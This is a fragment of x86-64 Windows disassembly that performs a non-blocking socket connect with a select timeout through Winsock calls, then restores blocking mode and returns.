movabs rdx, 0x8004667e
lea r8, [rbp - 0x80]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x78]
mov r8, 0x10
call qword [sym.imp.ws2_32.dll_connect]
add rsp, 0x20
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, qword [rbp + 0x28]
mov qword [rsp + 0x20], 0
call fcn.140002bc0
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp rax, 1
jne 0x140003038
mov qword [rbp - 0x80], 0
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
movabs rdx, 0x8004667e
lea r8, [rbp - 0x80]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
mov qword [rbp - 0x88], 1
sub rsp, 0x20
call fcn.14000305d
add rsp, 0x20
mov rax, qword [rbp - 0x88]
add rsp, 0x58
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret